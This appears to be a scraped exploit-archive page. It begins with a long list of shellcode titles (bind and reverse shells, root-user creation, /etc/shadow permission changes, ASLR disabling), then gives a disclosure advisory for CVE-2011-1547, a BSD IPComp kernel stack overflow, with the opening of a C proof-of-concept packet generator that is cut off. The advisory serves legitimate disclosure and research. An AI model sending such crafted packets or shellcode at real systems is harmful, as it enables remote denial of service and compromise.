Linux - Bind 6778/TCP (XOR Encoded) Polymorphic Shellcode (125 bytes)
Linux - Bind Shell (nc -lp 31337 -e /bin//sh) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)
Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Null-Free Shellcode
Linux - Bind TCP Shell (6778/TCP) XOR Encoded Polymorphic Shellcode (125 bytes)
Linux - Bind Netcat Shell (31337/TCP) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)

Win32 - Write-to-file Shellcode (278 bytes)
Windows x86 - Write-to-file Null-Free Shellcode (278 bytes)
Linux/x86 - Bind Shell Netcat 8080/TCP Shellcode (75 bytes)
Linux/x86 - /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 English - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes)
Win32 - Checksum Routine Shellcode (18 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes)
Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes)
Windows x86 - Checksum Routine Shellcode (18 bytes)

Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes)
Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes)
Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes)
Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes)
Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes)
Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes)
ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader Port 0x1337 Shellcode
ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode
ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader (0x1337/TCP) Shellcode
ARM - ifconfig eth0 192.168.0.2 up Shellcode
ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes)
Win32 - Speaking 'You got pwned!' Shellcode
FreeBSD/x86 - connect back Shellcode (81 bytes)
BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes)
Win32 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes)
Linux/x86 - ASLR deactivation Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse  TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator)
Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator)
BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes)
Windows x86 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes)
Linux/x86 - Disable ASLR Security Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes)
Linux/x86 - Egghunter Shellcode (29 bytes)
Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes)
Linux/x86 - Egghunter Null-Free Shellcode (29 bytes)
Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes)
Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)
Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator)
Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)

Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes)
Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes)

Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes)
Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes)

Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode
Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode

Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes)
Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes)

Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)
Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)

Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes)
Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes)
Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes)
Windows x64 - Bind TCP Shell Shellcode (508 bytes)
Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes)
Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes)

Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes)
Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes)

Windows RT ARM - Bind Shell 4444/TCP Shellcode
Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode
Windows - Messagebox Shellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes)
Windows - Add Administrator 'BroK3n' Shellcode (194 bytes)
Windows - Messagebox Null-FreeShellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes)
Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes)
Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes)
Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes)
Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes)
Linux/x86 - Disable ASLR Shellcode (84 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes)
Linux/x86 - Disable ASLR Security Shellcode (84 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes)
Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes)
Win32/XP SP3 - Restart computer Shellcode (57 bytes)
Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator)
Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes)
Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes)
Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes)
Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes)
Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (21 bytes)
Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes)
Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes)
Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes)
Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes)
Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes)
Linux/x86 - exec('/bin/dash') Shellcode (45 bytes)
Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes)
Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes)
Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes)
Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode
Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes)
Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode
Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes)
Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes)
Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode
Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes)
Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode
OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes)
OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes)

Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator)
Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator)
OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes)
Linux/x86-64 - /bin/sh Shellcode (34 bytes)
Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes)
OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes)
Linux/x86-64 - execve /bin/sh Shellcode (34 bytes)
Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes)

Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python)
Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes)
Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes)

Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes)

Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes)
Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes)

Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes)
Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes)

Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes)
Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes)
Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes)
Win32 .Net Framework - Execute Native x86 Shellcode
Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)
Windows .Net Framework x86 - Execute Native x86 Shellcode
Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)

Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator)
Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes)
Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes)
Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)
Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes)
Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes)
BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes)
Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shellcode (64 bytes)
Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes)
Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes)
Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes)
Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes)
Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)
Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes)
Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes)
Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes)
Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes)
Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes)
Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes)
Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes)

Windows x64 - WinExec() Shellcode (93 bytes)
Windows x64 - cmd.exe WinExec() Shellcode (93 bytes)

Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86 - Reverse Netcat + mkfifo  (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes)
Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes)

Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes)
Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator)
Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes)

Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes)
Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes)

Windows x86 - Executable Directory Search Shellcode (130 bytes)
Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes)

Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes)
Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes)

Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes)
Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes)

Linux/x86 - Bind Shell Shellcode (44 bytes)
Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes)
Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes)
Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes)
Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes)
Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes)
Linux/x86 - Disable ASLR Shellcode (80 bytes)
Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes)
Linux/x86 - Disable ASLR Security Shellcode (80 bytes)
Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes)
Linux/x86-64 - /bin/sh Shellcode (31 bytes)
Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes)
Linux/x86-64 - execve /bin/sh Shellcode (31 bytes)
Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes)
Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes)
Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes)
Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes)

Linux x86 - /bin/sh Shellcode (24 bytes)
Linux x86 - execve /bin/sh Shellcode (24 bytes)

Linux/x86_64 - kill All Processes Shellcode (19 bytes)
Linux/x86_64 - Kill All Processes Shellcode (19 bytes)

Php Cloud mining Script - Authentication Bypass
(Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
2017-08-23 05:01:29 +00:00

852 lines
No EOL
32 KiB
C
Executable file
Raw Blame History

// source: http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080031.html
BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload
-------------------------------------------------------------------------------
Gruezi, this document describes CVE-2011-1547.
RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to
provide compression of ip datagrams, and is commonly used alongside IPSec
(although there is no requirement to do so).
An ipcomp datagram consists of an ip header with ip->ip_p set to 108, followed
by a 32 bit ipcomp header, described in C syntax below.
struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved
uint16_t comp_cpi; // Compression Parameter Index
};
The Compression Parameter Index indicates which compression algorithm was used
to compress the ipcomp payload, which is expanded and then routed as requested.
Although the CPI field is 16 bits wide, in reality only 1 algorithm is widely
implemented, RFC1951 DEFLATE (cpi=2).
It's well documented that ipcomp can be used to traverse perimeter filtering,
however this document discusses potential implementation flaws observed in
popular stacks.
The IPComp implementation originating from NetBSD/KAME implements injection of
unpacked payloads like so:
algo = ipcomp_algorithm_lookup(cpi);
/* ... */
error = (*algo->decompress)(m, m->m_next, &newlen);
/* ... */
if (nxt != IPPROTO_DONE) {
if ((inetsw[ip_protox[nxt]].pr_flags & PR_LASTHDR) != 0 &&
ipsec4_in_reject(m, NULL)) {
IPSEC_STATINC(IPSEC_STAT_IN_POLVIO);
goto fail;
}
(*inetsw[ip_protox[nxt]].pr_input)(m, off, nxt);
} else
m_freem(m);
/* ... */
Where inetsw[] contains definitions for supported protocols, and nxt is a
protocol number, usually associated with ip->ip_p (see
http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml), but in
this case from ipcomp->comp_nxt. m is the mbuf structure adjusted to point to
the unpacked payload.
The unpacked packet is dispatched to the appropriate protocol handler
directly from the ipcomp protocol handler. This recursive implementation fails
to check for stack overflow, and is therefore vulnerable to a remote
pre-authentication kernel memory corruption vulnerability.
The NetBSD/KAME network stack is used as basis for various other
operating systems, such as Xnu, FTOS, various embedded devices and
network appliances, and earlier versions of FreeBSD/OpenBSD (the code
has since been refactored, but see the NOTES section regarding IPComp
quines, which still permit remote, pre-authentication, single-packet,
spoofed-source DoS in the latest versions).
The Xnu port of this code is close to the original, where the decompressed
payload is recursively injected back into the toplevel ip dispatcher. The
implementation is otherwise similar, and some alterations to the testcase
provided for NetBSD should make it work. This is left as an exercise for the
interested reader.
--------------------
Affected Software
------------------------
Any NetBSD derived IPComp/IPSec stack may be vulnerable (Xnu, FTOS, etc.).
NetBSD is not distributed with IPSec support enabled by default, however Apple
OSX and various other derivatives are. There are so many NetBSD derived network
stacks that it is infeasible to check them all, concerned administrators are
advised to check with their vendor if there is any doubt.
Major vendors known to use network stacks derived from NetBSD were pre-notified
about this vulnerability. If I missed you, it is either not well known that you
use the BSD stack, you did not respond to security@ mail, or could not use pgp
properly.
Additionally, administrators of critical or major deployments of NetBSD (e.g.
dns root servers) were given advance notice in order to deploy appropriate
filter rules.
Exploitability of kernel stack overflows will vary by platform (n.b. a stack
overflow is not a stack buffer overflow, for a concise definition see
TAOCP3,V1,S2.2.2). Also note that a kernel stack overflow is very different
from a userland stack overflow.
For further discussion, including attacks on other operating systems,
see the notes section on ipcomp quines below.
--------------------
Consequences
-----------------------
While exploitation of kernel stack overflows is a somewhat under researched
topic, the author feels a skilled attacker would be able to leverage this for
remote code execution. However, this is not a trivial task, and is highly
platform dependent.
I have verified kernel stack overflows on NetBSD are exploitable, I have looked
at the source code for xnu and do not see any obvious obstacles to prevent
exploitation (kernel stack segment limits, guard pages, etc. which would cause
the worst impact to be limited to remote denial of service), so have no reason
to believe it is different.
Thoughts on this topic from fellow researchers would be welcome.
Source code for a sample Linux program to reproduce this flaw on NetBSD is
listed below. Please note, check if your system requires an IPv4 header in the
compressed payload before attempting to adapt it to your needs.
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//
// BSD IPComp Kernel Stack Overflow Testcase
// -- Tavis Ormandy <taviso at cmpxchg8b.com>, March 2011
//
#define MAX_PACKET_SIZE (1024 * 1024 * 32)
#define MAX_ENCAP_DEPTH 1024
enum {
IPCOMP_OUI = 1,
IPCOMP_DEFLATE = 2,
IPCOMP_LZS = 3,
IPCOMP_MAX,
};
struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[0]; // Payload.
};
bool ipcomp_encapsulate_data(void *data,
size_t size,
int nxt,
struct ipcomp **out,
size_t *length,
int level)
{
struct ipcomp *ipcomp;
z_stream zstream;
ipcomp = malloc(MAX_PACKET_SIZE);
*out = ipcomp;
ipcomp->comp_nxt = nxt;
ipcomp->comp_cpi = htons(IPCOMP_DEFLATE);
ipcomp->comp_flags = 0;
// Compress packet payload.
zstream.zalloc = Z_NULL;
zstream.zfree = Z_NULL;
zstream.opaque = Z_NULL;
if (deflateInit2(&zstream,
level,
Z_DEFLATED,
